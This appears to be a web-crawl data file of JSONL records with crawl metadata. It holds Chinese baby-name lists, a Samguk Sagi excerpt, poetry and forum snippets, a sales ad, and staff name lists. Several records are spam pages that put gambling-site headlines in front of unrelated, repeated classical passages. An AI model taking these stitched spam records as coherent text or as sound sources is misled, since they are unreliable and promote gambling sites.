席铜娅 席铜雪 席童娅 席铜悦 席童悦 席铜梅 席庭瑶 席晰瑶 席悦瑶 席月瑶 席予瑶 席芮瑶 席瑞瑶 席睿瑶 席蕊瑶 席纤瑶 席荟瑶 席卉瑶 席桐瑶 席静瑶 席枝瑶 席栀瑶 席婉瑶 席磬瑶 席青瑶 席湘瑶 席依瑶 席钰瑶 席宇瑶 席芸瑶 席紫萍 席立萍","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/www.j681.cn\/show_1E4.aspx","date":"2019-07-18T15:51:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525659.27\/warc\/CC-MAIN-20190718145614-20190718171614-00535.warc.gz","language":"lzh","language_score":0.7266439199,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.7266439199447632, \"nan_Hani_score\": 0.1565641611814499, \"und_Lina_score\": 0.05271629989147186, \"wuu_Hani_score\": 0.02512877807021141, \"cmn_Hani_score\": 0.021374432370066643, \"yue_Hani_score\": 0.010704707354307175}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.737,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n昌祈 昌娱敏 昌娱杨 昌娱洋 昌娱阳 昌娱乐 昌愉乐 昌语阳 昌羽阳 昌羽乐 昌吉青 昌雨珍 昌雨洋 昌雨凤 昌敏乐 昌敏凤 昌雨乐 昌雨阳 昌祺 昌角 昌涵宇 昌登临 昌义欢 昌君 昌位君 昌正欢 昌梓欢 昌亦欢 昌中欢 昌勤学 昌皓欢 昌进 昌鑫诚 昌诚鑫 昌雨涵 昌九大 昌文钊 昌军宏 昌则凡 昌则天 昌则敏 昌则靖 昌则晴 昌则灵 昌晴天 昌志刚 昌永鑫 昌敏 昌登杰 昌九欢 昌文钦 昌奕铭 昌彤珊 昌紫凝 昌雨凝 昌雨璇 昌翠华 昌佳旭 昌秀君 昌紫凯 昌秋林 昌秋佳 昌欣金 昌佳金 昌佳姗 昌展颜 昌凌萱 昌是 昌睿俊 昌银华 昌铭哲 昌彩云 昌康 昌圣博 昌渲憬 昌圣澄 昌圣澈 昌圣翰 昌晓遥 昌逍遥 昌久尧 昌中尧 昌于尧 昌金尧 昌睿尧 昌子舜 昌子尧 昌丹 昌州庆 昌渲学 昌渲稳 昌渲松 昌洲庆 昌金欣 昌青桓 昌佳青 昌姿峻 昌思思 昌思眩 昌铉铉 昌新定 昌泊霖 昌小飞 昌兰香 昌丝丝 昌铭昊 昌铭 昌子俊 昌钰灏 昌钰昊 昌钰皓 昌钰诚 昌炜诚 昌俊皓 昌小利 昌晓辉 昌劲 昌光林 昌芯竹 昌智 昌飘 昌素珍 昌农耕 昌舜 昌赞 昌文峰 昌琢雄 昌琛舜 昌锟雄 昌意尧 昌钰雄 昌小力 昌钰超 昌琦舜 昌钰琦 昌浯添 昌艳秋 昌恒骏 昌艳静 昌云涛 昌云滔 昌建中 昌钰翔 昌秋 昌保龙 昌少杰 昌能 昌盛财 昌兴奇 昌可书 昌可才 昌可乐 昌可恒 昌可卓 昌可冠 昌可楠 昌可恩 昌可璐 昌可晖 昌懿可 昌晓可 昌艺可 昌淑可 昌书可 昌天可 昌上可 昌敦可 昌可可 昌可欢 昌一可 昌圆可 昌园可 昌映可 昌定可 昌巧可 昌荷可 昌秋可 昌可菁 昌可园 昌可圆 昌健 昌渊林 昌绮珊 昌清风 昌立泉 昌商羽 昌安新 昌宏骏 昌家骏 昌秦源 昌蝇 昌活 昌颌 昌传彬 昌高子 昌庆田 昌庆林 昌钰 昌庆钰 昌庆春 昌阌君 昌刎君 昌紊君 昌瘟君 昌纹君 昌蚊君 昌吻君 昌稳君 昌翰秋 昌翰湫 昌显昕 昌翠薇 昌绮彤 昌雪萱 昌韦君 昌三四 昌七九 昌七君 昌六君 昌八君 昌闻军 昌文军 昌温军 昌问君 昌三娃 昌玉容 昌鼎勇 昌勇君 昌红君 昌后军 昌文容 昌润君 昌定勇 昌远华 昌侯君 昌华君 昌裁军 昌财君 昌君才 昌国君 昌二君 昌厚君 昌后君 昌程君 昌梁君 昌明君 昌名君 昌贵君 昌温君 昌君闻 昌俊宏 昌文君 昌闻君 昌彦宏 昌美霖 昌芳宇 昌硕 昌洪波 昌文海 昌小艺 昌一凡 昌一路 昌一明 昌一书 昌一鸣 昌一博 昌振亚 昌缙云 昌小茜 昌纯伊 昌沁宜 昌玫杉 昌咏璇 昌玫萱 昌坤 昌则远 昌要闯 昌继洋 昌远逸 昌凝紫 昌杨海 昌鑫 昌发 昌顺时 昌桢桢 昌夸 昌佑涵 昌小军 昌方骏 昌踢 昌治钢 昌治强 昌织果 昌祺昕 昌祺骊 昌炜蕊 昌炜蕙 昌帝 昌帝炎 昌圣天","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/scw13.cn\/show_4Q0.aspx","date":"2019-07-20T10:21:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526506.44\/warc\/CC-MAIN-20190720091347-20190720113347-00457.warc.gz","language":"lzh","language_score":0.9825925827,"language_script":"Hani","minhash_cluster_size":13,"top_langs":"{\"lzh_Hani_score\": 0.9825925827026367, \"nan_Hani_score\": 0.010995138436555862}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.983,"perplexity_score":500.0,"cluster_detection":1} +{"text":"삼국사기\/권25\n개로왕[편집]\n21년(475년)[편집]\n二十一年 秋九月 麗王巨璉 帥兵三萬 來圍王都漢城 王閉城門 不能出戰 麗人分兵爲四道夾攻 又乘風縱火 焚燒城門 人心危懼 或有欲出降者 王窘不知所圖 領數十騎 出門西走 麗人追而害之 先是 高句麗長壽王 陰謀百濟 求可以間諜於彼者 時 浮屠道琳應募曰 \"愚僧旣不能知道 思有以報國恩 願大王不以臣不肖 指使之 期不辱命\" 王悅 密使譎百濟 於是道琳佯逃罪 奔入百濟 時 百濟王近蓋婁 好博[1] 弈 道琳詣王門 告曰 \"臣少而學碁 頗入妙 願有聞於左右\" 王召入對碁 果國手也 遂尊之爲上客 甚親昵之 恨相見之晩 道琳一日侍坐 從容曰 \"臣異國人也 上不我疎外 恩私甚渥 而惟一技之是效 未嘗有分毫之益 今願獻一言 不知上意如何耳\" 王曰 \"第言之 若有利於國 此所望於師也\" 道琳曰 \"대왕(大王)의 나라는 사방(四方)이 모두 산, 언덕, 하천, 바다입니다. 是天設之險 非人爲之形也 是以四鄰之國 莫敢有覦心 但願奉事之不暇 則王當以崇高之勢 富有之業 竦人之視聽 而城郭不葺 宮室不修 先王之骸骨 權攢於露地 百姓之屋廬 屢壞於河流 臣竊爲大王不取也\" 王曰 \"諾 吾將爲之\" 於是 盡發國人 烝土築城 卽於其內作宮[2] 樓閣臺榭 無不壯麗 又取大石於郁里河 作槨以葬父骨 緣河樹堰 自蛇城之東 至崇山之北 是以倉庾虛竭 人民窮困 邦之陧杌 甚於累卵 於是 道琳逃還以告之 長壽王喜 將伐之 乃授兵於帥臣 近蓋婁聞之 謂子文周曰 \"予愚而不明 信用姦人之言 以至於此 民殘而兵弱 雖有危事 誰肯爲我力戰 吾當死於社稷 汝在此俱死 無益也 盍避難以續國系焉\" 文周乃與木劦滿致·祖彌桀取 木劦·祖彌皆複姓 隋書以木劦爲二姓 未知孰是 南行焉 至是高句麗對盧齊于·再曾桀婁·古尒萬年再曾·古尒皆複姓等帥兵 來攻北城 七日而拔之 移攻南城 城中危恐 王出逃[3] 麗將桀婁等見王 下馬拜已 向王面三唾之 乃數其罪 縛送於阿且[4] 城下戕之 桀婁·萬年本國人也 獲罪逃竄高句麗 論曰 楚明[5]王之亡也 鄖公辛之弟懷 將弑王曰 \"平王殺吾父 我殺其子 不亦可乎\" 辛曰 \"君討臣 誰敢讐之 君命天也 若死天命 將誰讐\" 桀婁等自以罪不見容於國 而導敵兵 縛前君而害之 其不義也甚矣 曰 \"然則伍子胥之入郢鞭尸何也\" 曰 \"楊子法言評此 以爲不由德 所謂德者 仁與義而已 則子胥之狠 不如鄖公之仁 以此論之 桀婁等之爲不義也 明矣\"\n주석[편집]\n- 原本 「愽」. 「博」의 俗字.\n- 三國史節要 「室」 추가. 朝·北·權·燾·浩 「室」 추가.\n- 原本 誤刻. 鑄字本에 의거 수정.\n- 燾 「且(旦)」\n- 高麗 光宗의 이름 「昭」의 代字避諱. 榮·朝·權·烈·浩 「明」, 燾 「明(昭)」.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/ko.wikisource.org\/wiki\/%EC%82%BC%EA%B5%AD%EC%82%AC%EA%B8%B0\/%EA%B6%8C25\/%EA%B0%9C%EB%A1%9C%EC%99%95","date":"2019-07-18T22:03:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525829.33\/warc\/CC-MAIN-20190718211312-20190718233312-00221.warc.gz","language":"lzh","language_score":0.9306878448,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.9306878447532654, \"nan_Hani_score\": 0.04274208843708038, \"cmn_Hani_score\": 0.024411659687757492}","num_words":195,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.962,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n怨郎诗 一朝别后,二地相悬。只说是三四月,又谁知五六年?七弦琴无心弹,八行书无可传。九连环从中折断,十里长亭望眼欲穿。百思想,千系念,万般无奈把郎怨。万语千言说不完,百无聊赖,十依栏杆。重九登高看孤雁,八月...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/hqsly.tw\/index$&tag=39SBPCp5Rm&tagLabel=%E4%BC%A4%E6%80%80.htm","date":"2020-01-25T15:15:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251672537.90\/warc\/CC-MAIN-20200125131641-20200125160641-00379.warc.gz","language":"lzh","language_score":0.6152060032,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6152060031890869, \"cmn_Hani_score\": 0.33888694643974304, \"nan_Hani_score\": 0.01992754638195038, \"wuu_Hani_score\": 0.016742702573537827}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.74,"perplexity_score":500.0,"cluster_detection":1} +{"text":"黄金城棋牌游戏联合资信新冠肺炎疫情对水泥行业影响研究\n其後二百二十馀年秦有荆轲之事。\n会昭帝崩,宣帝初立,缘恩行义,以本始元年中,裂汉地,尽以封广陵王胥四子:一子为朝阳侯;一子为平曲侯;一子为南利侯;最爱少子弘,立以为高密王。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n蒙恬者,其先齐人也。恬大父蒙骜,自齐事秦昭王,官至上卿。秦庄襄王元年,蒙骜为秦将,伐韩,取成皋、荥阳,作置三川郡。二年,蒙骜攻赵,取三十七城。始皇三年,蒙骜攻韩,取十三城。五年,蒙骜攻魏,取二十城,作置东郡。始皇七年,蒙骜卒。骜子曰武,武子曰恬。恬尝书狱典文学。始皇二十三年,蒙武为秦裨将军,与王翦攻楚,大破之,杀项燕。二十四年,蒙武攻楚,虏楚王。蒙恬弟毅。\n维二十九年,皇帝春游,览省远方。逮于海隅,遂登之罘,昭临朝阳。观望广丽,从臣咸念,原道至明。圣法初兴,清理疆内,外诛暴彊。武威旁暢,振动四极","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/xwpwm.themasquarade.com\/","date":"2020-02-27T07:25:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146665.7\/warc\/CC-MAIN-20200227063824-20200227093824-00229.warc.gz","language":"lzh","language_score":0.4143974781,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4143974781036377, \"cmn_Hani_score\": 0.37422508001327515, \"wuu_Hani_score\": 0.05351993814110756, \"nan_Hani_score\": 0.052105505019426346, \"yue_Hani_score\": 0.02353174053132534, \"zxx_Latn_score\": 0.01622014306485653, \"jpn_Jpan_score\": 0.01486898958683014}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.477,"perplexity_score":500.0,"cluster_detection":1} +{"text":"动态澳门足球赔率关键期到了:一季报即将亮相 这类公司利润有望猛增\n其明年,东巡海上,考神仙之属,未有验者。方士有言\"黄帝时为五城十二楼,以候神人於执期,命曰迎年\"。上许作之如方,命曰明年。上亲礼祠上帝焉。\n作鄜畤後七十八年,秦德公既立,卜居雍,\"後子孙饮马於河\",遂都雍。雍之诸祠自此兴。用三百牢於鄜畤。作伏祠。磔狗邑四门,以御蛊菑。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n王者制事立法,物度轨则,壹禀於六律,六律为万事根本焉。\n庄公又娶宋雍氏女,生厉公突。雍氏有宠於宋。宋庄公闻祭仲之立忽,乃使人诱召祭仲而执之,曰:\"不立突,将死。\"亦执突以求赂焉。祭仲许宋,与宋盟。以突归,立之。昭公忽闻祭仲以宋要立其弟突,九月丁亥,忽出奔卫。己亥,突至郑,立,是为厉公。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/wap.sztpkj.com\/tzhpf\/734359.html","date":"2020-04-07T04:39:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371665328.87\/warc\/CC-MAIN-20200407022841-20200407053341-00098.warc.gz","language":"lzh","language_score":0.4002871513,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4002871513366699, \"cmn_Hani_score\": 0.39445552229881287, \"nan_Hani_score\": 0.06297789514064789, \"wuu_Hani_score\": 0.02416580356657505, \"yue_Hani_score\": 0.016214482486248016, \"zxx_Latn_score\": 0.016096187755465508, \"jpn_Jpan_score\": 0.01064291875809431}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.54,"perplexity_score":500.0,"cluster_detection":1} +{"text":"冰淇淋機有限公司【手機:18109247867(微信)】位于西安,是一家專業從事冰淇淋機銷售為主題的企業,公司主營產品有冰淇淋機,冰淇淋機家,西安新麥烤箱,冰淇淋機,冰淇淋機冰淇淋機 。公司秉承服務至上,質量第一的宗旨服務于廣大客戶,歡迎您前來咨詢選購!\n新麥烤箱官方網站客服熱線:公司主營新麥烤箱丨新麥烤箱官網丨無錫新麥烤箱丨新麥烤箱生產廠家。我公司經營范圍和銷售網絡覆蓋全國各地:北京 上海 天津 重慶 河北: 石家莊 唐山 秦皇島 邯鄲 邢臺 保定 張家口 承德 滄州 廊坊 衡水 山西: 太原 大同 陽泉 長治 晉城 朔州 晉中 運城 忻州 臨汾 呂梁 內蒙古: 呼和浩特 包頭 烏海 赤峰 通遼 鄂爾多斯 呼倫貝爾 巴彥淖爾 烏蘭察布 興安 錫林郭勒 阿拉善 遼寧: 沈陽 大連 鞍山 撫順 本溪 丹東 錦州 營口 阜新 遼陽 盤錦 鐵嶺 朝陽 葫蘆島 吉林: 長春 吉林 四平 遼源 通化 白山 松原 白城 延邊 黑龍江: 哈爾濱 齊齊哈爾 雞西 鶴崗 雙鴨山 大慶 伊春 佳木斯 七臺河 牡丹江 黑河 綏化 大興安嶺 江蘇: 南京 無錫 徐州 常州 蘇州 南通 連云港 淮安 鹽城 揚州 鎮江 泰州 宿遷 浙江: 杭州 寧波 溫州 嘉興 湖州 紹興 金華 衢州 舟山 臺州 麗水 安徽: 合肥 蕪湖 蚌埠 淮南 馬鞍山 淮北 銅陵 安慶 黃山 滁州 阜陽 宿州 巢湖 六安 亳州 池州 宣城 福建: 福州 廈門 莆田 三明 泉州 漳州 南平 龍巖 寧德 江西: 南昌 景德鎮 萍鄉 九江 新余 鷹潭 贛州 吉安 宜春 撫州 上饒 山東: 濟南 青島 淄博 棗莊 東營 煙臺 濰坊 威海 濟寧 泰安 日照 萊蕪 臨沂 德州 聊城 濱州 菏澤 河南: 鄭州 開封 洛陽 平頂山 焦作 鶴壁 新鄉 安陽 濮陽 許昌 漯河 三門峽 南陽 商丘 信陽 周口 駐馬店 湖北: 武漢 黃石 襄樊 十堰 荊州 宜昌 荊門 鄂州 孝感 黃岡 咸寧 隨州 恩施 湖南: 長沙 株洲 湘潭 衡陽 邵陽 岳陽 常德 張家界 益陽 郴州 永州 懷化 婁底 湘西 海南: 海口 文昌 三亞 五指山 瓊海 儋州 萬寧廣東: 廣州 深圳 珠海 汕頭 韶關 佛山 江門 湛江 茂名 肇慶 惠州 梅州 汕尾 河源 陽江 清遠 東莞 中山 潮州 揭陽 云浮 廣西: 南寧 柳州 桂林 梧州 北海 防城港 欽州 貴港 玉林 百色 賀州 河池 來賓 崇左 四川: 成都 自貢 攀枝花 瀘州 德陽 綿陽 廣元 遂寧 內江 樂山 南充 宜賓 廣安 達州 眉山 雅安 巴中 資陽 阿壩 甘孜 涼山 貴州: 貴陽 六盤水 遵義 安順 銅仁 畢節 黔西南 黔東南 黔南 云南: 昆明 曲靖 玉溪 保山 昭通 麗江 普洱 臨滄 文山 紅河 西雙版納 楚雄 大理 德宏 怒江 迪慶","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.qfnpms.live\/sell\/show-3282557.html","date":"2020-03-29T21:45:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370496227.25\/warc\/CC-MAIN-20200329201741-20200329231741-00184.warc.gz","language":"lzh","language_score":0.5945842862,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5945842862129211, \"cmn_Hani_score\": 0.23579372465610504, \"nan_Hani_score\": 0.16585271060466766}","num_words":306,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.308,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.762,"perplexity_score":500.0,"cluster_detection":1} +{"text":"阜新棋牌集杰来伊份澄清裁员优化18名内勤仍吸纳优秀应届生\n曾子曰:\"堂堂乎张也,难与并为仁矣。\"\n而孔仅之使天下铸作器,三年中拜为大农,列於九卿。而桑弘羊为大农丞,筦诸会计事,稍稍置均输以通货物矣。\n黯多病,病且满三月,上常赐告者数,终不愈。最後病,庄助为请告。上曰:\"汲黯何如人哉?\"助曰:\"使黯任职居官,无以逾人。然至其辅少主,守城深坚,招之不来,麾之不去,虽自谓贲育亦不能夺之矣。\"上曰:\"然。古有社稷之臣,至如黯,近之矣。\"\n静公二年,魏武侯、韩哀侯、赵敬侯灭晋後而三分其地。静公迁为家人,晋绝不祀。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/k5qic.30long.cn\/lcfrs\/855731.html","date":"2020-03-31T01:31:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370499280.44\/warc\/CC-MAIN-20200331003537-20200331033537-00144.warc.gz","language":"lzh","language_score":0.4389889836,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.43898898363113403, \"cmn_Hani_score\": 0.34449687600135803, \"nan_Hani_score\": 0.09491590410470963, \"wuu_Hani_score\": 0.024397218599915504, \"jpn_Jpan_score\": 0.011600307188928127, \"zxx_Latn_score\": 0.011138249188661575, \"yue_Hani_score\": 0.010925430804491043}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.459,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门渔人码头网址陆军举办军以上领导干部理论轮训班\n岁馀,匈奴每来,出战。出战,数不利,失亡多,边不得田畜。复请李牧。牧杜门不出,固称疾。赵王乃复彊起使将兵。牧曰:\"王必用臣,臣如前,乃敢奉令。\"王许之。\n第二十五回 屯土山关公约三事 救白马曹操解重围\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n\"公见夫谈士辩人乎?虑事定计,必是人也,然不能以一言说人主意,故言必称先王,语必道上古;虑事定计,饰先王之成功,语其败害,以恐喜人主之志,以求其欲。多言夸严,莫大於此矣。然欲彊国成功,尽忠於上,非此不立。今夫卜者,导惑教愚也。夫愚惑之人,岂能以一言而知之哉!言不厌多。\n范睢相秦二年,秦昭王之四十二年,东伐韩少曲、高平,拔之。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/www.juegosin.com\/CSGAB53711.html","date":"2020-03-28T18:04:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370492125.18\/warc\/CC-MAIN-20200328164156-20200328194156-00346.warc.gz","language":"lzh","language_score":0.5424228907,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.542422890663147, \"cmn_Hani_score\": 0.2963528633117676, \"nan_Hani_score\": 0.09973593801259995, \"wuu_Hani_score\": 0.014664197340607643, \"yue_Hani_score\": 0.01235078927129507}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.597,"perplexity_score":500.0,"cluster_detection":1} +{"text":"张继东 崔保卫\n栗玉林 高雅深 侯淑梅 刘勇\n王威力 居义杰 郑玉山 高建苹 杨国彬 祝永旺 刘海英 陈少君 孟令东 高荣元 孟岩 王红梅 赵延初 康艳飞 马伶伶 ...\n李伟 仝立军 耿达 张立城 吴庆增 王鑫 郭涛 任毅 么志利","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/www.profitloft.com\/column\/39-1.html","date":"2020-08-04T23:33:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735885.72\/warc\/CC-MAIN-20200804220455-20200805010455-00493.warc.gz","language":"lzh","language_score":0.8002490997,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.8002490997314453, \"cmn_Hani_score\": 0.18029189109802246, \"wuu_Hani_score\": 0.011794154532253742}","num_words":30,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.284,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.8,"perplexity_score":500.0,"cluster_detection":1} +{"text":"漢書賈誼傳中有此一節: 陛下之與諸公、非親角材而臣之也、又非身封王之也\\n\\n雖文章大凡分明也、吾唯以「之」一字爲難。苟無之字、文意甚平明。諸賢幸教示是字之意義。","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/forum.wordreference.com\/threads\/%E9%99%9B%E4%B8%8B%E4%B9%8B%E8%88%87%E8%AB%B8%E5%85%AC.3738554\/","date":"2020-10-24T07:00:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107882102.31\/warc\/CC-MAIN-20201024051926-20201024081926-00433.warc.gz","language":"lzh","language_score":0.4384198785,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.4384198784828186, \"cmn_Hani_score\": 0.24716199934482574, \"wuu_Hani_score\": 0.23139162361621857, \"jpn_Jpan_score\": 0.05190315470099449, \"yue_Hani_score\": 0.015685316175222397}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.438,"perplexity_score":500.0,"cluster_detection":1} +{"text":"莫姓女孩名字大全,女孩是天使降落在人間,是父母們的心肝寶貝,如何娶一個優雅好聽的名字給寶貝呢,很多家長都有些迷茫,下面就為大家提供莫姓女孩名字大全給大家參考。\n莫紅瑛 莫泠琳 莫湫琳 莫洮琳 莫沅琳 莫小婧 莫夢婧 莫國芬 莫國婵 莫國婧 莫國娟 莫國媛 莫詩文 莫國美 莫以芬 莫國茹 莫滢玉 莫繼妹 莫冬娟 莫琳曦 莫曦琳 莫顏瑩 莫國琳 莫國莉 莫海琴 莫濘嫣 莫瑞琴 莫斯娜 莫沛怡 莫肖琴 莫潇琴 莫愛玲 莫滢瑩 莫韫潔 莫滢潔 莫滢穎 莫力文 莫崇文 莫麗莉 莫怡丹 莫嫣嫣 莫曉悅 莫媛珍 莫然妍 莫秋麗 莫燕雪 莫櫻怡 莫晴琳 莫筱琳 莫梓琳 莫芷琳 莫柔琳 莫艷娥 莫焱琴 莫骐霞 莫骐玲 莫骐倩 莫蘭娜 莫燕濤 莫婧卉 莫茗媛 莫俊玲 莫利瓊 莫可英 莫柳瑩 莫絮文 莫如玉 莫平梅 莫卓瑩 莫欣雪 莫紅紅 莫秀梅 莫耀文 莫正紅 莫莉娟 莫傑婷 莫月婷 莫莉玲 莫秀芬 莫巧英 莫焉萍 莫唯英 莫紅霞 莫斯倩 莫雅萍 莫益芳 莫倩子 莫文妍 莫崇芬 莫錦文 莫五怡 莫燕舞 莫海瑤 莫湘琳 莫紅莉 莫達莉 莫敏紅 莫美瓊 莫涼英 莫良英 莫莉纖 莫姝燕 莫殊燕 莫戬芬 莫漸芬 莫儉芬 莫見芬 莫勇文 莫永文 莫新花 莫虹霞 莫榮芳 莫蘇倩 莫蘇琳 莫秀琳 莫婧琳 莫倚琳 莫詩琳 莫绮玲 莫豐穎 莫冬美 莫祥紅 莫蕊霞 莫婵娜 莫愛美 莫怡楊 莫柳琳 莫梅倩 莫楊艷 莫楊倩 莫蘊倩 莫琪瑛 莫慶文 莫蕾潔 莫娟娟 莫怡錦 莫小妍 莫芳妍 莫忌玲 莫悅開 莫莉球 